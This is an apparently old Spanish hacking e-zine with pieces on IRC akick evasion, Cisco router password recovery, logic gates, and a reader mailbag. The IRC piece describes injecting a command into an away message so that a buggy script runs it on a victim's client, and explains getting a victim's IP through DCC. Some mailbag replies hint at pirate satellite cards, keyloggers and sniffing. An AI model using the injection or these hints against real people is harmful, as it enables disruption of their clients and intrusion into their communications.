happyhacker.org ( el sitio donde esta la web propiamente )
EOF
http://www.hackerslab.org
Maquinas disponibles:
drill.hackerslab.org
EOF
http://www.cyberarmy.com
EOF
Bueno, esto ha sido todo. Supongo que para los que ya habiais visto estos
wargames no es nada nuevo pero siempre hay gente que comienza y tiene miedo a
experimentar. Ya no hay excusa. A hackear se aprende hackeando.
Saludos a todos los ezines underground y a los canales #teleco_valencia y
#hacking del Hispano.
TheGuesT
theguest@ono.com
-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__
Deshaciendote de un Akick
--------------------------
Como ocurre con los bans, los Akick son de tres tipos:
Nick: son los mas normales y simplemente te echan si usas ese nick en
concreto, para saltarlo simplemente cambiamos de nick y entramos en el canal.
Para deshacerte de el es algo mas complejo, lo explicare por pasos:
Vamos a un ircop y le decimos que nos drope el nick porque queremos registrar
otros en el mismo mail, no creo que te pongan pegas. Te pedira el mail de
registro y que estes identificado asi como te informara que perderas todos
tus registros. Una vez dropado volvemos a registrarlo a un mail nuestro de
modo que nos manden de nuevo la password y ya nos hemos librado de el.
La desventaja que tiene es que pierdes todos tus registros, para evitar esto,
haz lo mismo que yo, usa tu nick para la batalla y ten otro aparte para los
registros, asi podras tantas veces quieras sin perder los registros. Te
recomiendo que a parte de los akicks tengas algun registro para que el ircop
no se mosquee cuando le toque droparlo o te pondra pegas....
IP o Ident Spoof: estos raramente se ven, son los mejores para el momento
pero los mas inofensivos a la larga, aunque dropes el nick no se van, ya que
no akickean al nick, para saltartelos cambia el Ident Spoof o desconecta y
conecta para que se te asigne otra IP X-FUCK, Lamersias y Orbital.
Estos scripts en sus versiones 4.1 el x-cript y x.x el mesias tienen un bug,
me he tomado la libertad de llamar al Mesias Lamersias debido a que si ya era
muy coincidente el parecido que tenia con el X-Cript, lo es mas que tenga el
mismo Bug, en fin, a lo nuestro. Lo explicare por pasos para que sea mas
facil:
Nos ponemos en away poniendo tras el mensaje de away un comando que sea
ejecutable por el script, por ejemplo: "//away no toy | quit me las piro por
cortesia de Plateado" Una vez hecho esto hacemos query a la victima y la
saludamos, el respondera y nuestro away saldra en su pantalla Segundos
despues el comando se ejecutara en la victima sobre la cual en este caso
tendria este resultado: "Victima has Quit Irc(me las piro por cortesia de
Plateado)" Echadle imaginacion y pensad en todos los comandos que se pueden
ejecutar asi.
Consiguiendo la IP de nuestra victima
--------------------------------------
Desgraciadamente aun no se como conseguir la IP sin necesidad de ingenieria
social. Para conseguirla tienes conseguir que la victima acepte o te mande un
DCC, ya sea chat o send, y tendras su IP, en www.theBosz.net puedes encontrar
que su script tiene incorporado un spoofeador de IP para envios de dcc de tal
modo podrias enviar dccs sin dar tu ip y viendo la de la victima.
-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__
*0 Prologo
Este es un mini arti dedicado a la recuperacion de passwds perdidas de
routers Cisco.La verdad es k es una chorrada pk el mismo Cisco lo documenta y
aparece en sus cursos de acreditacion. Ademas por supuesto debes tener acceso
fisico al router, pero a lo mejor alguien se hace con un router de segunda
mano, o tiene en su red un router que un admin que ya no esta configuro en su
dia.... Se supone conocimiento minimo de routers Cisco e IOS.
Para mas info: www.cisco.com.
*1 Intro
Hay varios procedimientos para recuperar passwds de los routers Cisco,
dependiendo del router, del IOS e incluso de la CPU. Y tb de si la passwd
perdida es una "enable" o es "line". Por norma general se deben restablecer
las configuraciones de arranke. Algunos routers viejos usan puentes hardware
para ello, por lo k hay k destriparlos. Afortunadamente los mas modernos usan
puentes software (registros de configuracion), donde se puede cambiar. Segun
el valor contenido en la entrada del archivo de configuracion nos indica una
cosa:
Si el 0 se encuentra en primera posicion indica que entre al modo "rommon" al
arrancar, pe: 0x010.
Si el 1 se encuentra en primera posicion indica que inicie desde el IOS
almacenado en la ROM, pe: 0x102.
Si el 2 se encuentra en primera posicion indica que mire el archivo de config
en la NVRAM para decidir con que imagen del IOS arrancar, pe: 0x2102.
*2 Passwds Enable
Hay 2 modos de recuperar passwd enable y enable-secret, dependiendo del
router el IOS y hasta la CPU. Los procedimientos normales son acceder al
simbolo del sistema "rommon" para passwds enable y al "test-system" para
passwds line. Esto se hace enviando una seal break desde la consola al
router (ctrl+b,alt+b.. depende del terminal o emulador..).La primera parte
para los 2 metodos es la misma:
1. Conectar un terminal o pc o lo ke sea con un emulador de terminal al
puerto de consola del router.
2. Escribir en el simbolo del sistema "show-version" (la perdida de la pass
enable solo nos bloquea el acceso al modo privilegiado, no al resto del IOS).
La ultima linea de la salida de este comando es el registro de configuracion
(uno muy comun es 0x2102), guardemosla.
3. Reiniciamos el router.
4. Mandamos un "break" antes de k arranke.
5. Aparece el prompt del rommon (rommon>).
2-1 Modo 1
(Routers:Cisco 2000, 2500, 3500, 4000 con CPU Motorola 68k, 7000 con
ROM IOS > 10.0, IGS con IOS 9.1 o posterior.)
6 Tecleamos /r0x42 para iniciar desde la flash o /r0x41 para hacerlo desde la
ROM. Si podemos arrancar desde la flash de p.m., pk podemos cambiar la
passwd, sino rula arancamos desde la ROM.
7 Introducimos el comando "reload", que hace que reiniciemos desde la flash
ignorando el archivo de configuracion guardado.
8 En la pantalla de configuracion respondemos que "no" a todo hasta llegar a
"press return to get started".
9 Pulsamos intro y aparece el simbolo del sistema (Router> nombre predeter
minado).
10 Escribimos "enable" y aparecera el simbolo del modo privilegiado
(Router#, como siempre).
11 Si la passwd era enable escribimos "more nvram:startup-config" para verla,
si es enable-secret para no complicarnos la vida creamos una nueva con
"configure memory" y "write memory".
2-2 Modo 2
(Routers:Cisco 1003, 1600, 3600, 4500, 7500)
6 Introducimos el comando "confreg" (configuration register), cuando aparece
el mensaje "Do you wish to change the config?" contestamos "yes".
7 Contestamos "no" hasta k aparezca "ignore system config info?", contestamos
"yes".
8 Contestamos "no" a todo hasta k aparezca la frase "change boot
characteristics?", contestamos "no" y aparece la frase "intro to boot".
Pulsamos enter.
9 Si la memoria flash rula, introducimos el num 2 para arrancar desde ella.
Si no, introducimos el 1 y arrancamos desde la imagen del IOS de la ROM,
igual k arriba conviene + desde la flash.
10 Introducimos el comando "reload", si el router es un 4500 o 7500,
reiniciamos interrumpiendo la corriente (Cisco lo llama "ciclo de potencia"
xDDD k finos pa un puto reset. Los usuarios de Windoze por cierto, estan muy
acostumbrados a este punto :-P).
11 Contestamos k "no" a todo.
12 Al llegar al prompt introducimos "enable" para entrar al modo
privilegiadop.
13 Una vez alli podemos:
- - introducir "more nvram:startup-config" para passwd enable.
- - usar "configure memory" / "write memory" para crear una passwd enable
secret nueva.
- - usar "write erase" para joder todo el fichero de configuracion (xD).
14 Introducimos "config-term" en el simbolo del sistema (modo privilegiado).
15 Introducimos "config-reg" y escribimos la config k guardamos en el paso
dos (show version).
16 Presionamos ctrl-z.
17 Introducimos "write memory" para guardar la config en la NVRAM.
*3 Passwds line
Para recuperar una contrasea de linea hay k forzar al router al modo
"diagnostico de fabrica". Esto se consigue de la siguiente manera:
(es recomendable consultar el manual si lo tenemos..)
Cisco AS5100,AS5200,AS5300 : Cambiar la configuracion de 0x8000
Cisco 1600,2500,3000,3600 : usar "reload" y despues cambiar los valores
de configuracion a 0x2102 al acabar
routers modulares : Establecer el puente del bit 15 del registro de
configuracion, reiniciar y restablecer el puente.
Una vez en dicho modo :
1 Contestamos "yes" cuando pregunte si keremos restablecer las directivas del
fabricante,aparece el simbolo "test-system>".
2 Introducimos "enable" para entrar al modo privilegiado del test-system.
3 Escribimos "config-term", luego "show:startup:config". Ahora se debe ver el
archivo de configuracion, buscamos la passwd y la anotamos. No la cambiemos
desde aqui.
4 Reinicamos el router.
5 Ya podemos usar la passwd anteriormente copiada.
*4 Notas finales
Los routers viejos que necesitan cambiar el registro de configuracion usando
puentes hardware (IG con IOS anterior a 9.1, Cisco 70x0 con IOS anterior al
10.0..etc) requieren distintos procedimientos que podeis consultar en la
peich de Cisco (estan ?). Lo que si que hay en la peich de Cisco es mogollon
de info sobre routers, switches e IOS, ademas de sobre redes en general.
-www.cisco.com-
Si teneis alguna duda, curiosidad, etc., sobre routers Cisco podeis intentar
preguntarmelo a mip xD, o bien enviar un mail al staff donde hay gente como
el tio Pope que esta haciendo el CCNA.
Saludos
MegadetH
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
* Variables logicas
Primero de todo , que es una variable logica ?
Su definicion seria:
.- Variable logica es una variable que tiene tres propiedades "especiales"
(por llamarlo de alguna manera).
Primera: Una variable logica puede adoptar uno u otro de solo dos valores
posibles.
Segunda: Los valores se representan por sentencias declarativas
(arriba,abajo - alto,bajo ....).
Tercera: Y como ultima los valores de una variable logica deben ser tales que
sean mutuamente exclusivos, es decir no podrian ser correcto dos
valores como "alto, bajo" y donde el alto es que mida entre [1,50 y
12,10] y el bajo que mida entre [1,20 y 1,60], ya que cuando algo
mida 1,50 no se sabra que valor de la variable logica le
corresponde.
| _ | |
Z=A | Z=A | Z=F | Z=T
A Z=f(A) | A Z=f(A) | A Z=f(A) | A Z=f(A)
F F | F T | F F | F T
T T | T F | T F | T T
A B Z=f(A,B)
F F
F T
T F
T T
(Quedaros con esta "tabla", como podeis ver esta vacia y ahora explicare el
tipo de funciones que existen y comprendereis mejor "la tabla de la verdad".
Esta es la parte que mas me gusta jejeje, aqui empieza toda la "chicha".)
-Funcion AND
A B Z= A AND B
F F F
F T F
T F F
T T T
-Funcion OR
A B Z= A OR B
F F F
F T T
T F T
T T T
Bien en esta tabla de la verdad vemos lo siguiente, Z=T si A=T o(OR) B=T o si
ambas (A y B) son verdaderas. Un simbolismo alternativo para la funcion OR
es:
Z=A+B
Es por ello que esta funcion le podriamos llamar "suma logica de A y B".
Se puede verificar facilmente que al igual que la funcion AND , la funcion OR
cumple las propiedades conmutativas y asociativas.
1.- Conmutativa: A+B=B+A
2.- Asociativa: A+(B+C)=(A+B)+C
* Sistemas logicos:
Pasamos ahora a la parte practica a sacarle partido a todas estas funciones y
tablas de la verdad, en este caso con las funciones logicas que he explicado
es posible construir circuitos electronicos cuyo funcionamiento corresponda a
una expresion formada por las funciones (AND y OR). Un ejemplo que quedara
bien claro y que me explicaron hace aos.
Supongamos que queremos construir una maquina sencilla, de manera que suene
una alarma de un avion en el caso en que los dos pilotos que lo patrullan se
vayan.
Colocamos 2 conmutadores 1 y 2 en los asientos de los pilotos (les llamamos
P1 y P2), los conmutadores se preparan para que se cierren cuando el piloto
deje su asiento. Supongamos que A representa la variable logica que es verdad
cuando P1 no esta en su asiento y falsa cuando lo esta, y que B representa la
variable del piloto P2. Entonces si queremos que suene la alarma cuando los
dos pilotos esten fuera, la funcion que corresponde al circuito seria: F=AB o
sea una AND.
El circuito seria algo parecido a esto:
P1 ________
|\ ^ |
| \ |
| \_ |
___________| |_________________
| | | |
| | P2 ________| |
| \ ^ |
| \ |
| \_ |
| ___|___
| |Timbre|
__|___ |______|
____ Bateria |
| |
|______________________________________________|
-.- Puerta AND: (dispositivos que realiazan un producto logico entre dos
variables)
_______
A----------| \
| |--------AB
B----------|_______/
______
A----------| \
| \
B----------| |--------AB...
| /
-----------|______/
-.- Puerta OR: (Dispositivos que realiza la suma logica entre dos variables)
_______
A----------| \
| |--------A+B
B----------|_______/
______
A----------| \
| \
B----------| |--------A+B...
| /
-----------|______/
-.- Puerta NOT: (Puerta que tiene solamente una entrada y una sola salida.
En otras palabras cuando la entrada es verdad, la salida es
falsa, y viceversa)
__
| \ _
A---------| |*--------- Z=A
|__/
__
AB
/
_______ /
A----------| \ / __
| |*--------AB
B----------|_______/
A B C Z=f(A,B,C)
0 0 0 0
0 0 1 0
0 1 0 0
0 1 1 1
1 0 0 1
1 0 1 1
0 1 1 1
1 0 0 1
1 0 1 1
1 1 1 1
Con esta "tabla de verdad" podemos sacar o mas bien deducir la expresion
logica Z = f(A,B,C) = A + BC.
Con esta tabla de la verdad estariamos asociado al siguiente circuito.
__________
| \
B----------| \
| |--------------| ___________
C----------| / | \ \
|__________/ |_________\ \_____________ A + B
C
A _________________________/ /
/__________/
WhEkeP
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Bueno, por fin podemos estrenar esta seccion :). Hemos recibido unos 70 mails
desde NS #5, y para que nos quejeis, aqui los teneis todos contestados. Para
este numero el encargado de contestar los mails ha sido cafo, para el
siguiente ya se vera [cafo, q dices? :)].
Si quereis que vuestros mails aparezcan aqui respondidos solo teneis que
mandarlos a la siguiente direccion: staff@netsearch-ezine.com. Os recuerdo
que no se contestara ningun mail directamente (salvo excepciones), sino que
sus respuestas se plasmaran en este apartado del Ezine. Si alguna persona ve
su mensaje aqui respondido y se siente ofendido, lo sentimos.. hay que tener
un poco de sentido del humor :). Un saludo.
-==- MAILS -==-
_-_-_-__-_-_-_
Hola
Yo como muchos mas quiero ser hacker y no se donde
pueda a aprender lenguaje de programacion nose si
ustedes me pueda mandar un curso por e-mail tengo 14
aos y soy inexperto completamente
_-_-_-__-_-_-_
HOLA
LES ESCRIBO PUES TENGO UNA DUDA UN HACKER PUEDE ABRIR CORREOS Y SI ES POSIBLE
POR MEDIO DE QUE O COMO LO HAGO YA QUE ME LLAMA LA ATENCION SER HACKER PERO
NO TENGO NI LA MAS REMOTA IDEA DE ELLO.
ADIOS
[ Pues la mayoria de los hackers "profesionales" que conozco usan el pine
para abrir correos. Yo personalmente me inclino por los interfaces
graficos del Becky Internet Mail o el Outlook 2000 SR2 ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
Hola , me gustaria saber si hay algun programa para " ver o espiar" las con
versaciones de otras personas en el ICQ
le agradeceria una respuesta a mi peticion
Gracias Roberto
[ Pues la mayoria de los hackers "profesionales" que conozco, usan el propio
icq para ver lo que dice la gente. Supongo que sera mejor que les preguntes
a ellos por la tecnica megahax0r que utilizan ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
_-_-_-__-_-_-_
hola:
yo les queria hacer una pregunta, como hago para conseguir el login de una
cuenta de mail? hotmail, yahoo las conocidas o las que sea.
desde ya muchas gracias
[ Cuando me surgio ese problema, lo que hice fue irme a la pagina raiz
de sus servidores y probar a darle a un boton grandote que pone
"New user Sign In". ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
Hola chicos, os enviamos este email desde Inglaterra, y nos gustaria saber si
teneis alguna noticia de la posibilidad de hacer tarjetas piratas para el
canal satelite digital Ingles "SKY", si asi es os agradeceriamos que nos lo
comentase.
Muchos saludos desde las islas.
[ Pues si no recuerdo mal la red SKY utiliza los satelites Astra
con el sistema de codificacion Videocrypt (no estoy seguro, hace tiempo
que no toco el tema). Si es asi, no hay ningun problema porque el
Videocrypt hace tiempo que se rompio. Busca algun link actualizado
para la informacion sobre como construir tarjetillas ]
_-_-_-__-_-_-_
Hola a todos!
Bueno os escribo este mail principalmente para agradeceros el articulo
publicado en el n#5 de este e-zine Reflexiones sobre los MIG y
especialmente al autor ;), y por la ayuda moral, animos, llamadas y
sobre todo pedir disculpas a aquellos que ultimamente estaban
inquietos por culpa de este bache ;) y bueno ya sabeis os quiero!! ;)
y por lo tanto solo me queda felicitar al grupo por el estupendo
trabajo que se esta realizando con el e-zine y el canal desde aqui
envio un fuerte abrazo a todos.
[ :*** A mandar muchacho. Aqui siempre estamos en contra de las injusticias
y sobre todo contra las que nos afectan ;). Ya sabes que si necesitas
algo, seguimos aqui. ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
_-_-_-__-_-_-_
_-_-_-__-_-_-_
Hola
Yo como muchos mas quiero ser hacker y no se donde
pueda a aprender lenguaje de programacion nose si
ustedes me pueda mandar un curso por e-mail tengo 14
aos y soy inexperto completamente
[ Otra vez? se ha duplicado? sera un virus? Misterios insondables de la
informatica ]
_-_-_-__-_-_-_
hola como estan soy un novato en esto pero pongo mi enpeo en esto
quisiera saber como entrar al, sistema de un amigo que parecer saber hacerlo
el cual siempre logra entrar a mi sistema cuando nos comunicamos por el
internet o el chat quisiera saber hacerlo por favor.
[ Que mejor enseanzas que las que te pueda dar un "amigo"? El te puede
explicar mejor que nadie lo que hace para entrar en tu sistema. Si lo que
quieres es sorprenderle, instalate linux, cierra todos los puertos de
/etc/inetd.conf y tientale a volver a hacerlo. ]
_-_-_-__-_-_-_
yo tengo una pregunta segun lo que vi de esta pagina es una pagina para
hackers y yo tengo una peticion que si me podian ensear a hacer lo que
hacen los hackers o si saben de alguien que sepa
gracias
atte: julio (mexico)
[ Que hacen los hackers? Pues basicamente vemos la tele de madrugada,
faltamos mas de lo que deberiamos a clase, comemos mas comida basura
de la que aconseja la OMS y nos puedes reconocer por la calle por el
numero de rubias imponentes que nos rodean. Poco mas se puede
decir de nuestras aficiones ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
_-_-_-__-_-_-_
_-_-_-__-_-_-_
_-_-_-__-_-_-_
Hola ?
en primer lugar felicitaros por la pagina pues creo que a los que empezamos
en este mundillo nos va a venir de perlas.......
tengo una pregunta para haceros, y de ese modo solucionar un problema que
tengo, vereis:
hace unos dias una persona accedio a su cuenta de correo con Hotmail desde mi
portatil.......mal hecho por su parte.....y estoy interesado si mi ordenador
guarda en algun lado la contrasea de acceso como copia. Me gustaria tambien
saber si se puede configurar para que cualquiera que acceda a su cuenta de
correos a traves de mi portatil, quede grabado tanto el login como la
contrasea.
Tambien queria pediros que me remitieseis enlaces con paginas en las que
existan tutoriales en castellano de Hacking.
Solo me resta daros las gracias por anticipado.
Saludos.
R@mses
[ Lo que un navegador guarda de las paginas visitadas es una cache de las
paginas visitadas, no las contraseas. Un ordenador se puede configurar
para lo que quieras, aunque supongo que lo que buscas es un keylogger. ]
_-_-_-__-_-_-_
Hola:
Me acuerdo cuando visite vuestra antigua pagina por primera vez: que pasada
una pagina que habla del craking, y que hasta yo puedo entender, despues
repentinamente os perdi la pista, pero por fin vuelvo a encontraros.
Recuerdo que teniais varias secciones como fraude al sistema de correos,
instrucciones de los programas que ofreciais etc..
Yo baje unos cuantos programas, y un craker se me colo dentro y los virus que
tenia tan bien guardados en mi unidad c: el graciosillo los ejecuto.
No es solo eso, el chat que tanto frecuentaba, se ha adueado de mi nick y me
ha cambiado la contrasea, gracias a mi primo (que no sabe mucho, pero
comparado conmigo es un Dios informatico) formatee mi pc, pero el problema es
que me gustaria conseguir la clave de mi nick, y ya que estamos de todas las
cuentas de e.mail que tenia desperdigadas por la red se que hay programas
para ello y me han pasado un par de revelador de paswords entre ellos el
releaver y no furula. podiais ayudarme,pasarme o recomendarme un programa que
me devolviese mi contrasea de todo lo que me quito (nicks, correo) si puede
ser que sea muy facil de usar porque ademas de estar empanado no se mucho de
estas cosas. Os estaria muy agradecido.
Gracias
P.D: me la consigais o no teneis una pagina de puta madre y muy makeada (que
conste que no es peloteo)
[ Creo que a lo mejor te confundes con la pagina de #hacker_novatos.
Que yo recuerde nunca hemos tenido esas secciones en la de NetSearch
Ezine, mas que nada porque la pagina siempre se ha planteado como una forma
de publicar el ezine, no como una pagina actualizada "dia a dia". Con
respecto a lo del nick, la cosa esta muy mal, porque los administradores de
las redes de chat no se hacen responsables de lo que pase con los nicks.
Es responsabilidad de los usuarios proteger claves y demas. ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
hola
me podeis decir donde podria bajar el windows 3.1 en castellano
Gracias por contestarme a la direccion siguiente
Adios
[ Ni idea. ]
_-_-_-__-_-_-_
hola amigos
los molesto por lo siguiente:
yo mucho no se de estas cosas, pero me gustaria entrar
al mail de otra persona.
no se la contrasea, y mi pregunta es la siguiente:
hay algun programa para adivinar la contrasea de un
mail, y cual es?
sin molestarlos mas y con la esperanza de que me
puedan ayudar
los saludo muy atentamente
yo
MARCELO.
P.D. GRACIAS!!!!!!!!!!!
[ Esteeee.... pues no.]
_-_-_-__-_-_-_
necesito hacer mierda la PC de un hijo de puta, como puedo hacer para hacer
lo mierda?????
necesito asesoramiento
gracias
Sergio
[ Pues para hacer mierda cualquier PC es suficiente con coger un buen
martillo pilon y liarte a mamporrazos con la puta torre. Si el hijo de puta
es un tio chungo de cuidado, puedes hacerte con un puto martillo neumatico
y liarte con la puta torre de la cpu, hasta q no haga nada mas que click. ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
_-_-_-__-_-_-_
Hola, antes de empezar quiero que tomen en cuenta esto. Se que hay
muchas personas preguntando estupideces sobre como ser un hacker, como
crackear etc., y es muy molesto ver que hay personas preguntando estupideces
solo por que se quieren divertir un rato, o quieren hacer dao en la red, o
que se yo que coo se les ocurra. Lo cierto es que muy pocos toman este campo
en serio, y solo algunos sacrifican tiempo y dinero para aprender de verdad a
ser un hacker. No quiero pedirles que me enseen trucos (a menos que uds. lo
crean necesario) ni tampoco hacerles perder el tiempo en largas teorias. Solo
quiero algunas respuestas, a lo mejor y mis preguntas son estupidas, pero
para mi son verdaderas dudas.
1) Se puede tener Linux en el computador Junto con Windows? Que puedo Hacer?
2) Que programas son escenciales para aprender a programar y hackear (nota:
soy absolutamente nuevo en el campo de la computacion, en pocas palabras no
se mas que prender el computador, instalar juegos, jugar y navegar en
internet).?
3) Recomiendan Uds. algun texto o curso, o conocen a alguien que este
dispuesto a asesorarme? (Soy de Venezuela, aqui no hay muchos hackers; bueno
eso creo).
Por favor, en realidad me llama la atencion todo lo referente a la
computacion, lamentablemente no habia investigado antes pero nunca es tarde
para aprender. Estoy dispuesto a trabajar muy duro, de hecho estos ultimos
dias me he estado comiendo textos en ingles y espaol y voy a seguir
haciendolo , y aunque he visto que los mejores hackers han sido autodidactas,
por lo menos necesito un empujon en cosas basicas. Todavia estoy en
bachillerato y los cursos de computacion aqui son muy pendejos, pero si
tuviera la oportunidad me dedicaria a aprender lo que fuera.
Bueno, ya basta de hablar, se que tienen cosas mas importantes que leer
mails, asi que los dejo.
Por favor, tomenlo en cuenta. Gracias.
Respondan lo mas pronto que puedan. CHAO!
[ 1. Si, yo lo tengo. Leete la ayuda de cualquier distribucion para ello.
2. gcc para programar, gdb para abrir programas, bash para todo lo demas.
3. Apuntate a la lista bugtraq, kernel-dev y cualquiera con cierto
nivel tecnico. En pocos meses sabras mas que la mayoria.
Autodidactas? Vamos por dios, ya me gustaria a mi conocer a alguien que
haya programado un modulo del nucleo o un exploit sin haber mirado una
man o un howto. Simplemente hay que leer todo lo que cae en sus manos. ]
_-_-_-__-_-_-_
hola :quisera saber como puedo hacer para saber la contrasea de una
direccion de mail en hotmail
si se puede ok si no ok tambien
martinbaquetas@hotmail.com
[ BUCLE: ]
[ Me niego a responder lo mismo mas veces. ]
_-_-_-__-_-_-_
Necesitaria que por favor me digan como hago para saber una contrasea de
hotmail de una persona. Por favor envienme una respuesta lo antes posible,
es urgente de vida o muerte, necesito saber esa contrasea.
Desde ya muchas gracias
candela
[ JMP BUCLE ]
_-_-_-__-_-_-_
Hola:
Se que es muy pretencioso de mi parte pero tengo una gran necesidad de
interceptar una direccion de correo electronico.
Si eres tu la persona en este mundo que me pueda ayudar. por favor hazlo.
Gracias de antemano.
[ Lo mas facil es presentar una solicitud de empleo a tu compaia ISP y
prosperar hasta que te hagan responsable del router, una vez alli, pones
la tarjeta de red en modo promiscuo e instalas un sniffer. Todo tuyo. ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
Hola ...
Soy un chico Chileno interesado en lo Under y con muchas ganas de participar
en un grupo... saben hace tiempo que me gustaria aprender mas...
les pido que me ayuden, para que esto kresca....
y seamos muchos....
siempre e pensado que los que saben mas deben ensear a los que saben menos,
para que sigan apareciendo cosas nuevas...
ok thank you por leerme..
Chauzz
[zKreT
[ No creo que sea necesario que seamos muchos, mas bien al contrario, cuanta
mas conciencia de secta tengamos, mas seremos apreciados por el mundo
empresarial, que al fin y al cabo es lo que todos buscamos. ]
_-_-_-__-_-_-_
Saludos...
Su pagina esta chida..
Oigan ya instale la aplicacion de distributed.net pero
como funciona?, ya use la ayuda que trae pero no vale @!!@
Dispongo de 8 maquinas que promedian 400Mhz y trabajan
10 horas al dia de las cuales como 3-4 horas se estan sin hacer nada
...... pienso que serian de gran ayuda
Sinceramente les agradeceria que me ayudaran y asi unirme a su grupo
mi direccion de correo es: pintelinsai@hotmail.com
sin mas gracias por su atencion
[ Las paginas de ayuda de distributed.net son completisimas, con unas
FAQs bastante completas. Cualquier cosa que te podamos contar aqui, ya
esta contestado, y mejor, alli. A ver si entre todos se saca la dichosa
clave. ]
_-_-_-__-_-_-_
hola muchachos como andan. les escrivo porque preciso virus nuevos y
direcciones de paginas donde pueda bajarlos.bueno muchas gracias.
[ http://www.coderz.net/29a/ Posiblemente, el mejor grupo de virii del
mundo. Y no es peloteo porque tengamos una entrevista con Wintermute ;) ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
hola me gustaria tener informacion sobre hackers
por ejemplo:
a que se dedican?
algunos tips?
como ser un hackers?
[ A comer bollicaos.
tips tips tips.
No puedes, no lo intentes o te echaremos. ]
_-_-_-__-_-_-_
hola necesito que me ayuden, necesito ingresar en una cuenta de correo cuya
clave no se, es por una cuestion muy personal... creo que mi novia me
metio los cuernos...
si hay que pagar algun precio diganme cuanto y como
gracias
[ Cambia de novia. JNZ LOOP ]
_-_-_-__-_-_-_
Diogenes S. Leo
Fuctur@ Informatica
www.invasao.com.br
81
3221-9116
3221-9124
[ Pues ya sabeis, los que domineis el brasileiro, ya podeis ir visitando
la pagina de este grupo. ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
Hola
Ayuda desesperante!!!!!
Como hago para entrar a otra computadora?
y como hago para entrar a un hotmail si no se la clave?.
Me pueden ayudarrrrrrrrrrrrrrrrrr!!!!!!! escaso de vida o muerte.
Estoy a su disposicion si necesitan algo mio.
Por favos espero respuesta
Maru
[ OM MANI PADMA HUM ]
[ OM MANI PADMA HUM ]
[ OM MANI PADMA HUM ]
[ OM MANI PADMA HUM ]
_-_-_-__-_-_-_
que tal amigos, soy argentino y queria hacerle una pregunta a gente que
sabe de este tema.
necesito poder entrar a el mail de mi ex novia para enterarme de un par
de cositas que calculo que me hizo y despues poder vengarme de ella y lo
que queria saber es si hay algun programa que se pueda bajar para poder
crackear los password de yahho o de hotmail.
L a pagina es excelente un saludo grande, de un admirador argentino.
[ La vengaza se disfruta mejor en frio. Casate con otra, ten hijos y dentro
de 2 aos descubrele el pastel. ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
Tengo un problema, necesito usar una fotocopiadora digital SHARP AR-162n como
impresora pero los drivers me los venden en casi US$700.00 y no me quieren
dar ninguna copia pirata, sabes donde puedo encontrar esos controladores?
[ Ni idea. ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
_-_-_-__-_-_-_
[ http://www.happyhacker.com ]
_-_-_-__-_-_-_
Saludos compaer@s:
Somos una pequea radio libre que queremos entrar en la red emitiendo en
directo por ella.
Deseariamos que nos mandeis algo de informacion de como hacerlo, tambien,
si fuera posible, decirnos programas para crear nuestro propio chat en la
pagina, solo conocemos el SiteSticky 4.0 y no nos parece bueno para lo que
queremos.
Sin nada mas y en espera de vuestra contestacion me despido en nombre de la
gente que hacemos radio, un saludo de Jabba.
[ Para lo de la radio, existe el formato RAM, o simplemente mandando
un stream de datos continuo hacia el navegador que lo solicite. La
solucion para poner un chat en la pagina pasa por poner un servidor
de irc en el ordenador y un applet de java que se comunique con el. ]
_-_-_-__-_-_-_
_-_-_-__-_-_-_
_-_-_-__-_-_-_
HOLA SOY NOVATO PERO QUIERO SABER PROTEGER MIS CD, PARA QUE NO ME LOS
COPIEN SON MIOS Y NADA MAS.
QUIERO UN NOMBRE DE PROGRAMA Y COMO USARLO.
GRACIAS
SALUDA ATTE.
DIEGO
[ Estas no son formas... En fin.
while(!feof(FILEIN)) { c=fgetc(); c=c ^ 5; }
y para descifrar, ejecutas otra vez. ]
_-_-_-__-_-_-_
quiero aprender soy novato y quiero ser experto con fines educativos
para seguridad de mi pc constantemente atacado.
Indicame como.
gracias
[ The only secure pc is the disconnected one. ]
_-_-_-__-_-_-_
hola que tal me llamo rogelio valencia pacheco soy de mexico y quisiera ser
parte de los miembros de esta pagina y como puedo entender lo que estan
tratando aqui notengo mucha experiencia en esto y si me pueden ayudar si me
puedes mandar un mail de confirmacion te lo agradeceria
[ De verdad? no creo que sea de verdad... Tu te lo has planteado en serio?
piensa que aqui somos un poco raros... algunos de nosotros hasta hacen
deporte... no creo que quieras juntarte con gente asi... creo que dentro
del equipo hay alguno que bebe vodka como si fuera leche materna...
una panda de degenerados vaya... ]
_-_-_-__-_-_-_
Hola me llamo Marian y ante todo quiero deciros que teneis una pagina
estupenda. Muchas gracias por intentar ayudarnos a los que como yo no
tenemos ni idea y estamos empezando en esto (con mucho entusiasmo eso si),
pero asi y todo me cuesta un poco ponerme al dia, aunque espero mejorar.
Bueno, voy a lo que os queria preguntar:
Estoy escribiendo desde el ordenador de mi novio, porque desde ayer
tengo un tio que no para de entrarme en el ordenador y dejarme virus, o
gusanos, o lo que mi.. sea. He cerrado todos lo puertos posibles que nos
permite el zone alarm y el jammer. Tengo actualizado el zone, y esta es la
segundo vez en 15 dias que tengo problemas de virus, lo que me lleva a pensar
que conocemos al capullo que lo hace y me da bastante rabia pensar eso.
El ordenador me pone algo asi en pantalla como:
"win32.funlove.4099virus."
ante lo cual le doy al restore y aparece otro y otro y... bueno, ya
sabeis la historia del conejito de duracell.
Lo cierto es que si pongo la ventana de advertencia en un sitio de la
pantalla que no me moleste, puedo seguir haciendo cosas con el ordenador ,
sin que aparezca cada dos segundo el maldito anuncio, pero el ordenador va
mas lento, evidentemente. Que puedo hacer para quitarmelo de encima?. Cuando
